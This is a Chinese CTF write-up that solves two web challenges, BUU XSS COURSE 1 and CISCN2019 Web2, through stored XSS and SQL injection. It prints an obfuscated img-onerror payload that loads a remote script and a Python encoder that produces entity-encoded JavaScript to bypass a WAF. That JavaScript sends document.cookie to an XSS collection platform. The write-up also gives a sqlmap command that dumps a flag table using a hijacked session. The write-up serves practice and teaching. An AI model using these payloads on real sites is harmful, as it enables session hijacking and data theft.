BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2

XSS的题目没怎么做过，比赛基本上也没有（=_=），总结下今天做的两题

都是看赵总视频现学现做的，这里附上学习链接，大家记得白嫖hhh~

BUU XSS COURSE 1

题解

这题点进去就两个窗口，一个吐槽的，一个登陆。

但是没有注册页面所以没啥用，直接来吐槽

先尝试弹窗<script>alert(1)</script>,访问给的地址没有弹窗

换个标签试试<IMG SRC="javascript.:alert('XSS');">,访问发现显示了一个不存在的图片，存在xss漏洞。

靶机无法访问外网，用内网xss平台，注册一个账号，创建“我的项目”，模块全点上，以后也能用。

</textarea>'"><img src=# id=xssyou style=display:none one rror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.buuoj.cn%2F8sVXk7%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

把xss代码在“吐槽”提交以后，访问一下给的地址，回到XSS平台的项目内容就可以看到两个刚接收到的内容，其中有一个是管理员访问。

利用管理员的cookie，以及来访地址http://XXXXXXXXXXXXXXXXX.node3.buuoj.cn/backend/admin.php登录即可得到flag（用chrome的edit this cookie插件比较方便）

end。

[CISCN2019 华东北赛区]Web2

知识点

1、储存型 XSS 与过滤绕过

附上CSP的知识：http://www.ruanyifeng.com/blog/2016/09/csp.html

2、SQL 注入

题解

这题打开先是一个论坛界面，内容都是超链接，我们点击投稿发现要注册，那就先注册登录。

发现一个投稿页面，还有个反馈页面，根据上面那题的思路，这题的解法应该是先在投稿文章内插入XSS代码，然后通过反馈让管理员审阅文章，从而窃取管理员的cookie。

先尝试能不能弹窗，查看文章源代码发现''(''被转义成了"（"，存在WAF。

上传的内容需要转码来绕过WAF，用HTML Markup

赵总的脚本

in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

注意！！！id记得改成自己xss平台的，比如赵总脚本里的是xpqwIP，别搞错了

生成的payload提交以后复制url，然后进反馈

地址前面记得改成web

md5截断验证用python脚本爆破，百度上挺多的。

填上URL和验证码提交，我们去XSS平台看看

我们用扫描器扫一下网，发现了admin.php

用刚才获取的cookie登录admin.php，测试发现存在sql注入（hhh盗用赵总id）

用sqlmap跑一下，得到flag

sqlmap -u "http://6e5d7496-7b5f-4d94-b0e3-74ccf262a4d2.node3.buuoj.cn/admin.php?id=4" --cookie="PHPSESSID=8925446bf891203de8f1226880a9e296" -T flag --dump --flush-session --fresh-queries

做完啦~ 涨姿势orz